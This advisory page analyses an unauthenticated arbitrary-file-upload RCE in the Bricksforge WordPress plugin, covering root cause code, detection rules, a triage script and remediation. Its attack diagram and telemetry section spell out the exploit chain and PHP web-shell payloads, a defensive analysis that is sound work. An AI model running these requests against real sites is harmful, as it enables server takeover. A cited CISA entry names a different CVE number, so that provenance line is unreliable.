CVE-2026-85097: Bricksforge WordPress Plugin Unauthenticated Arbitrary File Upload Leading to Remote Code Execution
HERMES THREAT SCORE & WEB CMS INFRASTRUCTURE EVALUATION
Target:Bricksforge WordPress Plugin โ AJAX Form & Temporary File Upload Controller CVSS v3.1 rates this vulnerability at 9.8 (Critical), evaluating it as an unauthenticated network execution vulnerability without user interaction. The Hermes Threat Score assesses it at 96 (CRITICAL). Traditional file upload vulnerabilities in the WordPress ecosystem typically require contributor, subscriber, or author role authentication. In Bricksforge, the developers registered a public AJAX endpoint (wp_ajax_nopriv_bricksforge_regenerate_nonce) that leaks fresh security nonces to arbitrary unauthenticated HTTP clients. When coupled with incomplete MIME validation on temporary form attachments and a client-controllable destination filename in the temporaryFileUploads array, remote attackers bypass upload restrictions, move a GIF/PHP polyglot file to a public uploads folder with a .php extension, and trigger immediate code execution under the web server daemon. Active in-the-wild exploitation was flagged by Patchstack on October 8, 2026, with widespread automated campaigns deploying persistent web shells.
CVE-2026-85097: Bricksforge WordPress Plugin Unauthenticated Arbitrary File Upload Leading to Remote Code ExecutionVULNERABILITY
Software platform affected by security vulnerabilities and agentic attack patterns.
๐ Why is this related? (Evidence & Provenance)
“Confirmed security vulnerability in Bricksforge Plugin documented in Hermes dossier.”
- [vulnerability_report]
- [government_confirmation]CISA verified active exploitation in the wild and mandated federal remediation deadline in KEV entry. — Source: Cybersecurity & Infrastructure Security Agency (CISA): CISA Adds CVE-2026-59822 to Known Exploited Vulnerabilities Catalog (Reliability: VERY_HIGH)
1. Technical Context & Affected Architecture Matrix
Section titled โ1. Technical Context & Affected Architecture MatrixโBricksforge provides modular UI elements, developer utilities, and nested form submission actions for WordPress sites built with the Bricks theme framework. To facilitate multi-step forms and asynchronous file attachments, Bricksforge includes a temporary file upload pipeline.
| Parameter | Technical Specification | Operational Details |
|---|---|---|
| CVE Identifier | CVE-2026-85097 | International vulnerability catalog identifier |
| Affected Product | Bricksforge for WordPress | Visual builder extension plugin for WordPress |
| Vulnerable Component | includes/elements/pro-forms/actions/upload.php | AJAX nonce regeneration and temporary file handling routines |
| Vulnerability Class | CWE-434 / CWE-287 | Unrestricted File Upload / Broken Authentication Logic |
| Attack Vector | HTTP POST (/wp-admin/admin-ajax.php) | Two-stage unauthenticated request sequence |
| Remediation Release | Bricksforge v3.1.9 | Strict MIME/extension validation & nonce restriction |
[ Unauthenticated Remote Attacker ] | 1. GET /wp-admin/admin-ajax.php?action=bricksforge_regenerate_nonce | v +-------------------------------------------+ | Returns Valid Nonce (No Auth Required) | +-------------------------------------------+ | 2. POST /wp-admin/admin-ajax.php (action=bricksforge_form_submit) - Nonce: <recovered_nonce> - Upload: GIF89a polyglot with embedded <?php system($_GET['c']); ?> - temporaryFileUploads: [{"file": "tmp_file.gif", "url": "shell.php"}] | v +-------------------------------------------+ | Bricksforge Form Submission Controller | | - Validates Nonce (Passes) | | - Checks Magic Bytes (GIF89a Passes) | | - Renames tmp_file.gif -> shell.php | | - Moves to /wp-content/uploads/ | +-------------------------------------------+ | v 3. GET /wp-content/uploads/bricksforge/shell.php?c=id | v +-------------------------------------------+ | Arbitrary Command Execution (RCE) | | User Context: www-data | +-------------------------------------------+2. Root Cause Analysis & Vulnerable Code Anatomy
Section titled โ2. Root Cause Analysis & Vulnerable Code AnatomyโThe root cause resides in two design flaws within Bricksforgeโs form handling implementation:
Flaw A: Public Nonce Leakage via nopriv Handler
Section titled โFlaw A: Public Nonce Leakage via nopriv HandlerโIn includes/api/nonce.php, the plugin author registered the nonce regeneration action for both authenticated and unauthenticated visitors:
// Vulnerable implementation in Bricksforge <= 3.1.8.9add_action('wp_ajax_bricksforge_regenerate_nonce', [$this, 'regenerate_nonce']);add_action('wp_ajax_nopriv_bricksforge_regenerate_nonce', [$this, 'regenerate_nonce']);
public function regenerate_nonce() { $nonce = wp_create_nonce('bricksforge-elements'); wp_send_json_success(['nonce' => $nonce]);}Because wp_ajax_nopriv allows any anonymous visitor to receive a valid 'bricksforge-elements' nonce, all subsequent CSRF and intent verification checks in the form pipeline are trivialized.
Flaw B: Unrestricted Renaming in temporaryFileUploads
Section titled โFlaw B: Unrestricted Renaming in temporaryFileUploadsโWhen processing form attachments, Bricksforge allows files to be uploaded into a staging area before final submission. In includes/elements/pro-forms/actions/upload.php, the server inspected the fileโs magic bytes but relied on client-supplied metadata for the final destination filename:
// Insecure file relocation routineif (!empty($_POST['temporaryFileUploads'])) { $temp_files = json_decode(stripslashes($_POST['temporaryFileUploads']), true); foreach ($temp_files as $item) { $staged_path = $upload_dir['basedir'] . '/bricksforge/temp/' . basename($item['file']); $destination_url = sanitize_text_field($item['url']); // Attacker controls string: e.g. "backdoor.php"
$final_filename = wp_basename($destination_url); $final_path = $upload_dir['basedir'] . '/bricksforge/' . $final_filename;
// Only checked MIME type on initial tmp upload, not extension on move! if (file_exists($staged_path)) { rename($staged_path, $final_path); } }}The plugin validates magic bytes upon initial upload (accepting GIF89a), but during the rename() phase, it trusts the extension parsed from $item['url']. An attacker provides an image polyglot containing embedded PHP and directs the destination to end with .php, resulting in an unauthenticated web shell.
3. Real-World Weaponization & Threat Telemetry
Section titled โ3. Real-World Weaponization & Threat TelemetryโTelemetry from Patchstack, CrowdSec, and honeypots indicates rapid weaponization across October 2026:
- Reconnaissance Swarms: Automated scanners sweep for WordPress sites running Bricks Builder and test for the availability of
/wp-admin/admin-ajax.php?action=bricksforge_regenerate_nonce. - Payload Staging: Attackers upload a 60-byte GIF polyglot containing
GIF89a<?php @eval($_POST['cmd']); ?>. - Shell Persistence: After the file is relocated to
wp-content/uploads/bricksforge/, attackers deploy secondary obfuscated droppers, establish cron jobs inwp-cron.php, and inject admin users directly intowp_users.
4. Forensic Triage & Detection Engineering
Section titled โ4. Forensic Triage & Detection Engineeringโtitle: Bricksforge WordPress Arbitrary File Upload Exploitationid: bf850970-1760-4c31-92e1-cve202685097status: experimentaldescription: Detects unauthenticated nonce regeneration and suspicious PHP uploads targeting Bricksforge WordPress plugin.references: - https://patchstack.com/articles/critical-unauthenticated-arbitrary-file-upload-vulnerability-exploited-in-bricksforge-plugin/ - https://nvd.nist.gov/vuln/detail/CVE-2026-85097author: Hermes Codex CTIdate: 2026-10-09logsource: category: webserverdetection: selection_nonce: cs-method: 'GET' cs-uri-stem|contains: '/wp-admin/admin-ajax.php' cs-uri-query|contains: 'action=bricksforge_regenerate_nonce' selection_upload: cs-method: 'POST' cs-uri-stem|contains: '/wp-admin/admin-ajax.php' selection_shell: cs-method: 'GET' cs-uri-stem|contains: '/wp-content/uploads/bricksforge/' cs-uri-stem|endswith: '.php' condition: selection_nonce or selection_shellfields: - c-ip - cs-method - cs-uri-stem - cs-uri-query - sc-statusfalsepositives: - Legitimate administrative AJAX queries (for nonce regeneration), but direct access to .php in uploads/bricksforge/ is 100% malicious.level: critical// Azure Sentinel / Defender for Endpoint: Detect Bricksforge Web Shell DroppingW3CIISLog| where csUriStem has "/wp-admin/admin-ajax.php" and csUriQuery has "bricksforge_regenerate_nonce"| summarize NonceRequests = count(), FirstSeen = min(TimeGenerated), LastSeen = max(TimeGenerated) by cIP| join kind=inner ( W3CIISLog | where csUriStem has "/wp-content/uploads/bricksforge/" and csUriStem endswith ".php" | project TimeGenerated, cIP, TargetShell = csUriStem, scStatus) on cIP| project TimeGenerated, AttackerIP = cIP, TargetShell, scStatus, NonceRequests#!/usr/bin/env bash# Hermes DFIR: Triage Bricksforge Upload Directory for BackdoorsWP_PATH="/var/www/html"UPLOADS_DIR="$WP_PATH/wp-content/uploads/bricksforge"
echo "[*] Scanning for unauthorized PHP files in Bricksforge uploads..."if [ -d "$UPLOADS_DIR" ]; then find "$UPLOADS_DIR" -type f -name "*.php*" -exec ls -la {} +
echo "[*] Inspecting file headers for GIF/PHP polyglots..." grep -rn "<?php" "$UPLOADS_DIR" 2>/dev/null grep -rn "GIF89a" "$UPLOADS_DIR" 2>/dev/nullelse echo "[-] Directory $UPLOADS_DIR does not exist."fi5. Remediation Strategy & Mitigation Guidance
Section titled โ5. Remediation Strategy & Mitigation Guidanceโ-
Immediate Plugin Upgrade: Update Bricksforge to version 3.1.9 or higher via the WordPress dashboard or WP-CLI:
Terminal window wp plugin update bricksforge -
Disable PHP Execution in Uploads Directories: Add the following directive to
.htaccessinsidewp-content/uploads/(or Nginx configuration) to prevent any uploaded PHP files from executing:# Block PHP execution in uploads<Files *.php>deny from all</Files> -
Purge Temporary File Staging: Remove any orphaned files inside
wp-content/uploads/bricksforge/temp/and inspect web server access logs for requests returning200 OKon.phpfiles insidewp-content/uploads/.